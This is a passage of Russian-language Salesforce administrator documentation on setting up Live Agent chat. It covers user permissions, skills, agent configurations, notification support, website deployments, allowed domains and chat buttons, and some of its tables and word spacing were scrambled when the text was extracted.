Прежде чем разрешить пользователям общение с клиентами посредством чата,
рекомендуемназначитьпользователейвкачествепользователейLive Agent. Пользователи
Live Agent — этоагентыиадминистраторыслужбыподдержки, которымпредоставляются
полномочия Salesforce, необходимые для обслуживания клиентов посредством чата.

Приложение Live Agent доступно всем пользователям Live Agent только при наличии
полномочия администратора «API включен», включенного в связанном профиле.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Установите флажок «Пользователь Live Agent». Если данныйфлажок не
отображается, убедитесь, что организация приобрела достаточное количество
лицензий на компонент Live Agent.

4. Нажмите кнопку «Сохранить».

Убедитесь, что созданные пользователи назначены конфигурации Live Agent и связаны
с соответствующими навыками.
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Полномочия для агентов службы поддержки Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Чтобыпредоставить агентамслужбыподдержки Live Agent доступко всеминструментам,
необходимым для обслуживания клиентов, рекомендуем включить определенные
полномочия.

Общие полномочия

ОписаниеНеобходимое полномочие

Обязательно для всех пользователей Live
Agent

«API включен»

Полномочия объекта

РекомендацииОписаниеПолномочиеТип записи

Не рекомендуем
предоставлять
агентам

Данноеполномочие
позволяет агентам
просматривать
записи сеансов.

«Чтение»Сеансы Live Agent

возможность
создания,
редактирования и
удаления записей
сеансов. Записи
сеансов создаются
автоматически и
используются для
документирования
сведенийовремени,
проведенном
агентами в сети,
поэтому не
рекомендуем
предоставлять
агентам
возможность
изменения данных
записей.

Не рекомендуем
предоставлять

Данноеполномочие
позволяет агентам

«Чтение»Посетители Live Chat

агентампросматривать
записипосетителей. возможность

создания,
редактирования и
удаления записей
посетителей. Записи
посетителей

2819

Создание каналов интернет-общенияНастройка и обслуживание инструментов службы поддержки



РекомендацииОписаниеПолномочиеТип записи

создаются автоматически и
используются для
документированиясведений,
связывающих клиентов с
транскриптамичата, поэтому
не рекомендуем
предоставлять агентам
возможность изменения
данных записей.

Не рекомендуем
предоставлять агентам

Данное полномочие
позволяет агентам

«Чтение»Транскрипты Live Chat

возможность создания,просматриватьтранскрипты
чатов. редактирования и удаления

транскриптов чатов.
Транскрипты создаются
автоматически и
используются для
документированиясведений
о взаимодействиях агентов с
клиентами, поэтому не
рекомендуем предоставлять
агентам возможность
изменения данных записей.

Боковая панель «Быстрый
текст» на консоли Salesforce

Данное полномочие
позволяет агентам

«Чтение»Быстрый текст

доступнаагентамтолькоприпросматривать сообщения
наличии полномочия«Быстрыйтекст»идобавлять

быстрый текст в чаты. «Чтение» для объекта
«Быстрый текст».

Чтобы стандартизировать
сообщения «Быстрыйтекст»,

Данное полномочие
позволяет агентам создавать
сообщения «Быстрыйтекст».

«Создание»

используемыеорганизацией,
рекомендуем ограничить
возможность агентов по
созданию сообщений
«Быстрый текст». В данном
случае полномочие
«Создание» должно быть
предоставлено
администраторам службы
поддержки.

Чтобы стандартизировать
сообщения «Быстрыйтекст»,

Данное полномочие
позволяет агентам

«Редактирование»

используемыеорганизацией,
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РекомендацииОписаниеПолномочиеТип записи

рекомендуем ограничить
возможность агентов по

редактировать сообщения
«Быстрый текст».

редактированиюсообщений
«Быстрый текст». В данном
случае полномочие
«Редактирование» должно
быть предоставлено
администраторам службы
поддержки.

Чтобы стандартизировать
сообщения «Быстрыйтекст»,

Данное полномочие
позволяет агентам удалять
сообщения «Быстрыйтекст».

«Удаление»

используемыеорганизацией,
рекомендуем ограничить
возможность агентов по
удалению сообщений
«Быстрый текст». В данном
случае полномочие
«Удаление» должно быть
предоставлено
администраторам службы
поддержки.

Полномочия для администраторов службы поддержки Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Необходимо включить определенные полномочия для администраторов поддержки
Live Agent, чтобы у них были все необходимые средства для контроля работы агента и
просмотра сведений о клиентах.

Общие полномочия

ОписаниеНеобходимое полномочие

Обязательно для всех пользователей Live
Agent

«API включен»

ОписаниеНеобязательное полномочие

Позволяет администраторам назначать
навыки агентам.

«Назначить навыки Live Agent
пользователям»
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Полномочия объекта

РекомендацииОписаниеПолномочиеТип записи

НетДанное полномочие
позволяет администраторам

«Чтение»Сеансы Live Agent

просматривать записи
сеансов.

Записи сеансов создаются
автоматически и

Данное полномочие
позволяет администраторам
создавать записи сеансов.

«Создание»

используются для
документированиясведений
о времени, проведенном
агентами в сети. Не
рекомендуем подделывать
данные записи. При
необходимости разрешите
администраторам их
создание вручную.

Записи сеансов создаются
автоматически и

Данное полномочие
позволяет администраторам

«Редактирование»

используются дляредактировать записи
сеансов. документированиясведений

о времени, проведенном
агентами в сети. Не
рекомендуем подделывать
данные записи. При
необходимости разрешите
администраторам их
редактирование.

Записи сеансов создаются
автоматически и

Данное полномочие
позволяет администраторам
удалять записи сеансов.

«Удаление»

используются для
документированиясведений
о времени, проведенном
агентами в сети. Не
рекомендуем подделывать
данные записи. При
необходимости разрешите
администраторам их
удаление.

НетДанное полномочие
позволяет администраторам

«Чтение»Транскрипты Live Chat

просматриватьтранскрипты
чатов.
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РекомендацииОписаниеПолномочиеТип записи

Транскрипты чатов
создаются автоматически и

Данное полномочие
позволяет администраторам

«Создание»

используются длясоздавать транскрипты
чатов. документированиясведений

овзаимодействияхагентовс
клиентами. Нерекомендуем
подделыватьданныезаписи.
При необходимости
разрешитеадминистраторам
создание транскриптов
вручную.

Транскрипты чатов
создаются автоматически и

Данное полномочие
позволяет администраторам

«Редактирование»

используются дляредактировать транскрипты
чатов. документированиясведений

овзаимодействияхагентовс
клиентами. Нерекомендуем
подделыватьданныезаписи.
При необходимости
разрешитеадминистраторам
редактирование
транскриптов.

Транскрипты чатов
создаются автоматически и

Данное полномочие
позволяет администраторам
удалять транскрипты чатов.

«Удаление»

используются для
документированиясведений
овзаимодействияхагентовс
клиентами. Нерекомендуем
подделыватьданныезаписи.
При необходимости
разрешитеадминистраторам
удаление транскриптов.

НетДанное полномочие
позволяет администраторам

«Чтение»Посетители Live Chat

просматривать записи
посетителей.

Записи посетителей
создаются автоматически и

Данное полномочие
позволяет администраторам

«Создание»

используются длясоздавать записи
посетителей. документированиясведений,

связывающих клиентов с
транскриптами чата. Не
рекомендуем подделывать
данные записи. При
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РекомендацииОписаниеПолномочиеТип записи

необходимости разрешите
администраторам их
создание вручную.

Записи посетителей
создаются автоматически и

Данное полномочие
позволяет администраторам

«Редактирование»

используются дляредактировать записи
посетителей. документированиясведений,

связывающих клиентов с
транскриптами чата. Не
рекомендуем подделывать
данные записи. При
необходимости разрешите
администраторам их
редактирование.

Записи посетителей
создаются автоматически и

Данное полномочие
позволяет администраторам
удалять записипосетителей.

«Удаление»

используются для
документированиясведений,
связывающих клиентов с
транскриптами чата. Не
рекомендуем подделывать
данные записи. При
необходимости разрешите
администраторам их
удаление.

НетДанное полномочие
позволяет администраторам

«Чтение»Быстрый текст

просматривать сообщения
«Быстрый текст».

НетДанное полномочие
позволяет администраторам

«Создание»

создавать сообщения
«Быстрый текст».

НетДанное полномочие
позволяет администраторам

«Редактирование»

редактировать сообщения
«Быстрый текст».

НетДанное полномочие
позволяет администраторам

«Удаление»

удалять сообщения
«Быстрый текст».
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Создание и назначение навыков Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания навыков:
• «Настройка

приложения»

Для добавления навыков
(администраторы):
• «Назначить навыки Live

Agent пользователям»

Навыки определяют компетентность агентов. При назначении навыка агент получает
запросы на чат, связанные с его областями. Кроме того, вы можете дать вашим
администраторам возможность назначать агентам навыки.

1. Введите строку «Навыки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Навыки».

2. Нажмите кнопку «Создать».

3. Введите имя навыка.

Например, создайтенавыкпоимени «Счета» для агентов, которыеспециализируются
по вопросам, связанным со счетами клиентов.

4. Выберите нужных пользователей в области «Назначить пользователей».

5. Выберите нужные профили в области «Назначить профили».

6. Нажмите кнопку «Сохранить».

Чтобы администраторы могли назначать навыки, включите разрешение «Назначать
навыки Live Agent пользователям» в их профилях либо назначьте отдельным
пользователям через набор полномочий. Когда администратор обладает таким
полномочием, он может перейти в раздел «Настройка» > «Настроить» > «Навыки
Live Agent» и обновить назначенные профили или пользователей в каждом
соответствующем навыке.
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Создание конфигураций Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
конфигураций:
• «Настройка

приложения»

Конфигурации Live Agent определяют функции Live Agent, доступные агентам и
администраторамслужбыподдержкиприобщениисклиентами. Создайтеконфигурации
Live Agent для определения функций приложения Live Agent на консоли Salesforce.

Прежде чем создать конфигурации, рекомендуем создать профили и пользователей.
Данный алгоритм позволяет одновременно создавать и назначать конфигурации
пользователям и профилям.

Конфигурации Live Agent позволяют контролировать доступ пользователей к
определеннымфункциямприложения Live Agent. Принеобходимости создайте разные
конфигурации, определяющиефункции приложения Live Agent для разных типов
пользователей. Например, создайтеконфигурациюдляопытныхагентов, расширяющую
их полномочия, или конфигурацию для администраторов службы поддержки,
предоставляющую им полномочия, необходимые для отслеживания сотрудников.

1. Чтобы приступить к созданию конфигурации, в меню «Настройка» введите
«Конфигурации Live Agent» в поле «Быстрый поиск», затем выберите
«Конфигурации Live Agent».

2. Нажмите кнопку «Создать».

3. Настройте параметры конфигурации Live Agent.

4. Нажмите кнопку «Сохранить».

Параметры конфигурации Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Параметры конфигурации Live Agent определяют функции, доступные агентам и их
администраторам при общении с клиентами.

Ниже перечислены параметры, доступные при создании или редактировании
конфигурации Live Agent.

Основные сведения

Настройте основные функции, доступные агентам при общении с клиентами.

Выполняемые функцииПараметр

Данный параметр определяет имя
конфигурации.

Данноеимяилиего версия автоматически
добавляется в поле «Имя разработчика».

Имя конфигурации Live Agent

Данный параметр определяет API-имя
конфигурации Live Agent.

Имя разработчика
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Выполняемые функцииПараметр

Данныйпараметропределяет количествочатов, доступное
агенту, которому назначается данная конфигурация, для
одновременного участия.

Пропускная способность чата

Данный параметр определяет возможность
предварительного просмотра агентами введенных
сообщений клиентов чата перед их отправкой.

Предварительный просмотр включен

Данныйпараметропределяетнеобходимостьпроигрывания
звукового оповещения при получении агентом нового
запроса на чат.

Звуковое уведомление о получении запроса включено

Данныйпараметропределяетнеобходимостьпроигрывания
звукового оповещения при отключении от чата.

Звуковое уведомление об отключении включено

Данныйпараметропределяетнеобходимостьотображения
всплывающегооповещенияприполученииагентомнового
запроса на чат.

Уведомления включены

Данныйпараметропределяетимя агента, отображающееся
клиентам в окне чата.

Настраиваемое имя агента

Данный параметр определяет настраиваемое
приветственное сообщение, отправляемое клиенту
автоматически при принятии агентом запроса на чат.

Чтобы настроить приветствие посредством инструмента
«Доступныеполяслияния», воспользуйтесьполямислияния.

Автоматическое приветствие

Например, чат может быть настроен посредством полей
слияния, позволяющих дополнять приветствие именем
клиента.

Прим.: Если автоматическое приветственное
сообщение выбирается в конфигурации Live Agentи
отдельной кнопке чата, то сообщение, связанное с
кнопкойчата, переопределяет сообщение, связанное
с конфигурацией.

ДанныйпараметравтоматическиназначаетагентуLive Agent
статус «Отошел» при отклонении запроса на чат.

Данный параметр применяется только при назначении
агентов кнопкам чата, использующим маршрутизацию на
основе активной доставки.

Автоматически устанавливать статус «Отошел» при
отклонении

ДанныйпараметравтоматическиназначаетагентуLive Agent
статус «Отошел» приистечениисрока действия запросана
чат, отправленного агенту.

Данный параметр применяется только при назначении
агентов кнопкам чата, использующим маршрутизацию на
основе активной доставки.

Автоматически устанавливать статус «Отошел» при
истечении срока действия активной доставки
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Выполняемые функцииПараметр

Данныйпараметр определяет время ожидания (в секундах)
до отправки агенту предупреждения о вводе ответа.

Критическое время ожидания предупреждения

Данныйпараметропределяетвозможностьпредоставления
клиентам доступа для переноса файлов посредством чата.

Перенос файла агентом включен

Данный параметр определяет возможность блокировки
посетителей в активном чате на консоли Salesforce. См.

Блокировка посетителя включена

раздел «Предоставлениеагентамвозможностиблокировки
посетителей по IP-адресу».

Указывает, может ли агент отправлять запрос на помощь
(поднятый «флажок») администратору.

Флажок помощи включен

Мини-приложения

Мини-приложения — это инструменты, доступные только организациям, которые используют приложение Live Agent
наконсоли Live Agent. Консоль Live Agentбольшенеподдерживается; рекомендуемизбегатьнастройкимини-приложений.
При использовании приложения Live Agent на консоли Salesforce мини-приложения не требуются.

Назначить пользователей

Чтобыпредоставить соответствующимпользователям доступ кфункциямприложения Live Agent, назначьте им нужную
конфигурацию. Позжеконфигурациимогутбыть такженазначеныпрофили. Приназначенииконфигурациина уровнях
профиляипользователяконфигурацияна уровнепользователяпереопределяетконфигурацию, назначеннуюпрофилю.

Внимание: Одновременно пользователю может быть назначена только одна конфигурация Live Agent. При
назначениипользователювторойконфигурации Live Agent система удаляетпользователяизпервойконфигурации
Live Agentбезпредупреждения. Рекомендуемточновыяснить, какойконфигурации Live Agentдолженбытьназначен
каждый пользователь.

Например, пользователю «А» назначаетсяконфигурацияLive Agent «А». Затемпользователю «А» случайноназначается
новая конфигурация Live Agent «Б». В данном случае система Salesforce автоматически удаляет пользователя А из
конфигурации Live AgentА и переназначает пользователя конфигурации Live Agent B без предупреждения.

Выполняемые функцииПараметр

Данныйпараметропределяетпользователей, которыемогут
быть назначены конфигурации.

Доступные пользователи

Данный параметр определяет пользователей, которые уже
назначены конфигурации.

Выбранные пользователи

Назначить профили

Чтобы предоставить пользователям, связанным с профилями, доступ к функциям приложения Live Agent, назначьте
соответствующиепрофилинужнойконфигурации. Приназначенииконфигурациина уровняхпрофиляипользователя
конфигурация на уровне пользователя переопределяет конфигурацию, назначенную профилю.
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Выполняемые функцииПараметр

Данный параметр определяет профили пользователей,
которые могут быть назначены конфигурации.

Доступные профили

Данный параметр определяет профили пользователей,
которые уже назначены конфигурации.

Выбранные профили

Параметры администратора

ПараметрыадминистратораопределяютфункцииприложенияLive Agent, доступныеадминистраторамслужбыподдержки.
Кроме того, данные параметры определяют стандартные фильтры, которые применяются к списку «Статус агента» на
панели администратора.

Выполняемые функцииПараметр

Данный параметр определяет возможность отслеживания
чатов агентов в режиме реального времени параллельно
их взаимодействию с клиентами.

Отслеживание чатов включено

Данный параметр определяет возможность отправки
личных сообщений агентам параллельно их общению с
клиентами.

Приватные сообщения включены

Данный параметр определяет возможность
предварительного просмотра сообщений агентов перед
их отправкой клиентам.

Предварительный просмотр агентов включен

Данный параметр определяет стандартный статус агента
(например, «В сети», «Отошел» или «Не в сети»),

Стандартный фильтр статусов агента

используемый для фильтрации агентов на панели
администратора.

При просмотре списка «Статус агента» на панели
администратора отображается только список агентов,
имеющих выбранный статус.

Данный параметр определяет стандартный навык,
используемый для фильтрации агентов на панели
администратора.

При просмотре списка «Статус агента» на панели
администратора отображается только список агентов,
назначенных выбранному навыку.

Стандартный фильтр навыков

Данный параметр определяет стандартную кнопку,
используемую для фильтрации агентов на панели
администратора.

При просмотре списка «Статус агента» на панели
администратора отображается только список агентов,
назначенных выбранной кнопке.

Стандартный фильтр кнопок
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Выполняемые функцииПараметр

Данный параметр определяет навыки, отображаемые
администраторам на панели администратора.

При просмотре списка «Статус агента» на панели
администратора отображается только список агентов,

Назначенные навыки

назначенных выбранным навыкам. При отсутствии
выбранных навыков список «Статус агента» отображает
агентов, назначенных любому навыку.

Параметры конференции чата

Данные параметры определяют возможность отправки другим агентам приглашений на участие в чате с клиентом.
Конференциячатапозволяетагентамдобавлятьнесколькихагентовводинчат. Такимобразом, агентымогутспособствовать
получению нужных решений клиентами без ожидания переноса их чатов.

Прим.: Конференция чата не поддерживает панель «Связанные объекты». Попытка ее использования во время
конференции чата может препятствовать сохранению важных сведений о записи.

Выполняемые функцииПараметр

Данныйпараметропределяетвозможностьотправкидругим
агентам приглашений на участие в чатах с клиентами.

Конференция чата включена

Параметры переноса чата

Определите возможность переноса чатов другим агентам.

Выполняемые функцииПараметр

Данныйпараметропределяет возможностьпереносачатов
непосредственно другому агенту.

Перенос чата агентам включен.

Данныйпараметропределяет возможностьпереносачатов
агентам, назначенным определенному навыку.

Перенос чата в навыки включен.

Данный параметр определяет группы навыков, которые
могут использоваться агентами для переноса чатов.

Агенты могут переносить чаты доступным агентам,
назначенным выбранным навыкам.

Перенос чата в навыки

Данныйпараметропределяет возможностьпереносачатов
кнопке или очереди.

Перенос чата кнопкам Live Chat включен.

Данный параметр определяет кнопки, которые могут
использоваться агентами для переноса чатов.

Агенты могут переносить чаты доступным агентам,
назначенным выбранным кнопкам.

Перенос чата кнопкам Live Chat
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Поддерживаемые обозреватели для уведомлений Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Уведомления Live Agent позволяют повысить эффективность работы агентов путем их
предупреждения о некоторых событиях. Поддерживаемые типы уведомлений
определяются веб-обозревателями, используемыми агентами.

Приложение Live Agent поддерживает два типа уведомлений.

Уведомления о запросах на чат
Данный тип позволяет уведомлять агента о получении запроса на чат;
поддерживаются звуковые и настольные уведомления.

Уведомления об отключении
Данный тип позволяет уведомлять агента об отключении от приложения Live Agent;
поддерживаются только звуковые уведомления.

Поддержка
настольных
уведомлений?

Поддержка
звуковых
уведомлений?

ВерсияОбозреватель

ДаДаПоследняя
стабильная версия

Google Chrome™

ДаДаПоследняя
стабильная версия

Mozilla® Firefox®

ДаДа6.x для ОС Mac OS XApple® Safari®

НетДа9Windows® Internet
Explorer®
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Создание развертываний Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания
развертываний:
• «Настройка

приложения»

Развертывание — этообласть корпоративноговеб-сайта, поддерживающаяприложение
Live Agent. Созданные развертывания позволяют внедрять приложение Live Agent и
контролировать его функциональность на корпоративном веб-сайте.

Прежде чем настроить окно чата, отображаемое клиентам, рекомендуем создать сайт
Force.com для размещения настраиваемых изображений.

Развертываниесостоитизнесколькихстроккода JavaScript, добавляемогонавеб-страницы.
Организация может использовать одно или несколько развертываний Live Agent.
Например, если обслуживание нескольких веб-сайтов осуществляется силами одной
службы поддержки, то каждому сайту может соответствовать отдельное развертывание,
позволяющее отображать посетителям несколько окон чата.

1. В разделе «Настройка» введите «Развертывания» в поле «Быстрый поиск», затем
выберите «Развертывания».

2. Нажмите кнопку «Создать».

3. Настройте параметры развертывания.

4. Нажмите кнопку «Сохранить».
Система Salesforce создает код развертывания.

5. Скопируйтеи вставьте код развертыванияна каждуювеб-страницу, где должнобыть
развернуто приложение Live Agent. Рекомендуем вставлять код прямо перед
закрывающим тегом body (</body>).

Прим.: При использовании зон безопасности в обозревателе Internet Explorer
8 или 9 убедитесь, что развертывание и соответствующий веб-сайт относятся
к одной зоне безопасности. Если веб-сайт, открытый в обозревателе Internet
Explorer, использует другую зону безопасности, то окно чата не может быть
открыто. Дополнительную информацию о зонах безопасности см. в справке
Internet Explorer.

Параметры развертывания Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Параметры развертывания Live Agent определяют функции, доступные агентам и их
администраторам при общении с клиентами.

Ниже перечислены параметры, доступные при создании или редактировании
развертывания Live Agent.

Основные сведения

Настройте основные функции, доступные для отдельного развертывания Live Agent.

Выполняемые функцииПараметр

Данный параметр определяет имя
развертывания.

Данноеимяилиего версия автоматически
добавляется в поле «Имя разработчика».

Имя развертывания Live Chat

2832

Создание каналов интернет-общенияНастройка и обслуживание инструментов службы поддержки



Выполняемые функцииПараметр

Данный параметр определяет API-имя развертывания Live
Agent.

Имя разработчика

Данныйпараметропределяетимяокначата, отображаемого
клиентам.

Заголовок окна чата

Данный параметр определяет возможность сохранения
клиентами копий транскриптов чата по завершении
общения с агентом.

Разрешить посетителям сохранение транскриптов

Данный параметр определяет возможность доступа и
внедрения интерфейса Pre-Chat API разработчиками.

Разрешить доступ к Pre-Chat API

Внимание:  Pre-Chat API предоставляетразработчикам
доступкпотенциальноконфиденциальнымданным,
которыми клиенты заполняют предчатовыеформы
(например, имя и адрес эл. почты клиента).

Данный параметр определяет домены для размещения
развертывания.

Ниже перечислены рекомендации по использованию
разрешенных доменов.

Разрешенные домены

• Укажителюбоеколичестводоменов, нонеболееодного
домена в строке.

• Укажите только домен и субдомен. Например,
abc.domen.ru, domen.ru или www.domen.ru. Рекомендуем
не использовать префикс http:// или соотнесения с
конкретными страницами домена (например,
domen.ru/straniza).

• Убедитесь в добавлении всех нужных доменов.

• Пропустите поле «Разрешенные домены» для
использования развертывания в любом домене.

Фирменный стиль окна чата

Принеобходимостидополнитеокночатанастраиваемымиизображениямипутемсвязываниясобственногоразвертывания
с сайтом Force.com и его статическими ресурсами.

Выполняемые функцииПараметр

Данный параметр определяет сайт Force.com, связанный с
развертыванием.

Связывание развертывания с сайтом Force.com позволяет
оформлять развертывание в фирменном стиле.

Сайт с изображением для фирменного стиля

Рекомендуемхранитьизображения в качестве статических
ресурсов посредством сайта Force.com.
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Выполняемые функцииПараметр

Данный параметр определяет настраиваемый рисунок,
отображаемый в окне чата клиента.

Изображение для оформления окна чата в фирменном
стиле

Данный параметр определяет настраиваемый рисунок,
отображаемый в окне чата клиента при открытии чата
посредством мобильного сайта.

Изображение для оформления окна мобильного чата в
фирменном стиле

Разрешенные домены и развертывания Live Agent

Чтобы повысить безопасность и уменьшить количество незаконных входящих запросов, укажите разрешенные домены
при создании развертываний Live Agent. Ниже перечислены некоторые рекомендации по использованиюразрешенных
доменов.

Ниже перечислены некоторые рекомендации по использованию разрешенных доменов.

• Укажите любое количество доменов, но не более одного домена в строке.

• Укажите толькодоменисубдомен (например, abc.domen.ru, domen.ru или www.domen.ru). Рекомендуемнеиспользовать
префикс http:// или соотнесения с конкретными страницами домена (например, domen.ru/straniza).

• Укажите все нужные домены.

• Пропустите поле «Разрешенные домены» для использования развертывания в любом домене.

Создание кнопок чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и настройки
кнопок чата:
• «Настройка

приложения»

Созданные кнопки чата позволяют клиентам отправлять запросы на чат с агентами
прямо с корпоративного веб-сайта.

Прежде чем создать кнопки чата, выполните указанные ниже действия.

• Создайте навыки. Каждая кнопка чата связана с отдельным навыком или набором
навыков, поэтомучаты, открытыепосредствомкнопки, передаютсясоответствующим
агентам.

• Создайте сайт Force.com и статические ресурсы для использования настраиваемых
изображений, соответствующих активному и неактивному статусам кнопки. Чтобы
указатьизображенияили текст кнопкив случаеотсутствия сайта Force.com, измените
код, сгенерированный при создании кнопки.

Создайте кнопки, с помощью которых посетители смогут начинать чаты. Подобно
развертыванию, кнопкасостоитизнесколькихстроккода JavaScript, которыйнеобходимо
скопировать и вставить на нужные веб-страницы. Одно развертывание допускает
использованиенесколькихкнопок; каждаякнопкасоотноситсясопределеннымнавыком
агента. Например, развертывание «Обслуживание» может использовать кнопки для
вопросов, связанных с настольными, портативными и планшетными компьютерами.
Каждаякнопкасоотноситсяссоответствующимнавыкомилинаборомнавыков, благодаря
чемузапросыпосетителейперенаправляютсятолькотемагентам, которыедействительно
могут помочь в решении возникшей проблемы.

1. Введите строку «Кнопки чата» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Кнопки чата».

2. Нажмите кнопку «Создать».
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3. Выберите значение «Кнопка чата» в поле «Тип».

4. Настройте оставшиеся параметры кнопки чата.

5. Нажмите кнопку «Сохранить».

6. Скопируйте и вставьте код кнопки на каждую веб-страницу, где развернуто приложение Live Agent. Убедитесь, что
код вставляется в ту область страницы, которая должна отображать кнопку.

Совет: Ввиду обновления кода при каждом изменении, рекомендуем копировать и вставлять код при каждом
обновлении кнопки.

Параметры кнопок чата

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Параметры кнопок чата определяют алгоритмы кнопок чата, используемых клиентами
для взаимодействия с агентами.

Ниже перечислены параметры, доступные при создании или редактировании кнопки
чата Live Agent.

Основные сведения

Настройте основные функции, доступные для отдельной кнопки чата Live Agent.

Выполняемые функцииПараметр

Данный параметр определяет тип
создаваемой кнопки.

Тип

Внимание: При создании кнопки
чата для добавления на веб-сайт
выберите значение «Кнопка чата».

Данный параметр определяет имя кнопки
чата.

Данноеимяилиего версия автоматически
добавляется в поле «Имя разработчика».

Имя

Данный параметр определяет API-имя
кнопки чата.

Имя разработчика

Данный параметр определяет способ
перенаправления входящих запросов на

Тип маршрутизации

чат агентам с соответствующими
навыками.

Данный параметр связывает навыки с
кнопкой. Входящие запросы на чат,

Навыки

инициированные кнопкой,
перенаправляются агентам с указанными
навыками.

Данныйпараметропределяетстандартный
язык отображения текста в окне чата.

Язык
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Выполняемые функцииПараметр

Данныйпараметропределяетвремяожиданияответа агента
до истечения срока действия и перенаправления запроса
на чат другому агенту.

Истечение срока действия активной доставки

Указывает, будут ли чаты завершаться, если клиент не
ответил за указанный период времени.

Включить истечение срока ожидания клиента

Задаетпериод времени, в течение которого клиент должен
ответить на сообщение агента, прежде чем сеанс

Время ожидания клиента (в секундах)

завершится. Таймер останавливается, когда клиент
отправляет сообщение. Таймер сбрасывается в 0 каждый
раз, когда агент отправляет сообщение.

Задаетпериод времени, в течение которого клиент должен
ответить на сообщение агента, прежде чем отобразится

Предупреждение об ожидании клиента (в секундах)

предупреждениеи таймерначнетотсчет. Предупреждение
исчезает (и таймер останавливается) каждый раз, когда
клиент отправляет сообщение. Предупреждение исчезает
(и таймер сбрасывается в 0) каждый раз, когда клиент
отправляет сообщение. Значение для предупреждения
должнобытьменьше, чемзначениедля времениожидания
(рекомендуется 30 секунд).

Указывает, что очередь включена. Очередь позволяет
входящимзапросамначатнаходитьсявочередидомомента

Включить очередь

появления доступного агента с соответствующими
навыками.

Данный параметр определяет количество запросов на чат,
доступное для добавления в очередь одного агента.

Длина очереди на одного агента

Данный параметр определяет максимальное количество
запросов на чат, доступное для добавления в очередь.

Общая длина очереди

Данныйпараметропределяетимя агента, отображающееся
клиентам в окне чата.

Настраиваемое имя агента

Данный параметр определяет настраиваемое
приветственное сообщение, отправляемое клиенту
автоматически при принятии агентом запроса на чат.

Чтобы настроить приветствие посредством инструмента
«Доступныеполяслияния», воспользуйтесьполямислияния.

Автоматическое приветствие

Например, чат может быть настроен посредством полей
слияния, позволяющих дополнять приветствие именем
клиента.

Прим.: Если автоматическое приветственное
сообщение выбирается в конфигурации Live Agentи
отдельной кнопке чата, то сообщение, связанное с
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Выполняемые функцииПараметр

кнопкойчата, переопределяет сообщение, связанное
с конфигурацией.

Настройка кнопки чата

При необходимости дополните кнопку чата настраиваемыми изображениями путем связывания собственного
развертывания с сайтом Force.com и его статическими ресурсами.

Выполняемые функцииПараметр

Данный параметр определяет сайт Force.com, связанный с
кнопкой чата. Связывание кнопки с сайтом Force.com

Сайт для ресурсов

позволяет оформлять кнопку в фирменном стиле.
Рекомендуемхранитьизображения в качестве статических
ресурсов посредством сайта Force.com.

Данный параметр определяет настраиваемый рисунок
кнопки, отображаемый при недоступности кнопки чата.

Интерактивное изображение

Данный параметр определяет настраиваемый рисунок
кнопки, отображаемый при доступности кнопки чата
клиентам для отправки запросов на новые чаты.

Автономное изображение

Данныйпараметрзаменяетстандартноеокночата Live Agent
настраиваемой страницей окна чата, созданной

Настраиваемая страница чата

пользователем. Рекомендуем использовать данный
параметр толькопринеобходимостизаменыстандартного
окна чата, поддерживаемого приложением Live Agent.

Данный параметр перенаправляет приложение Live Agent
на страницу Force.com, содержащую настраиваемую

Страница предчатовой формы

предчатовуюформу, котораяотображаетсяклиентамперед
началом чата с агентом.

Данный параметр перенаправляет приложение Live Agent
на URL-адрес веб-страницы, содержащей предчатовую
форму.

URL-адрес предчатовой формы

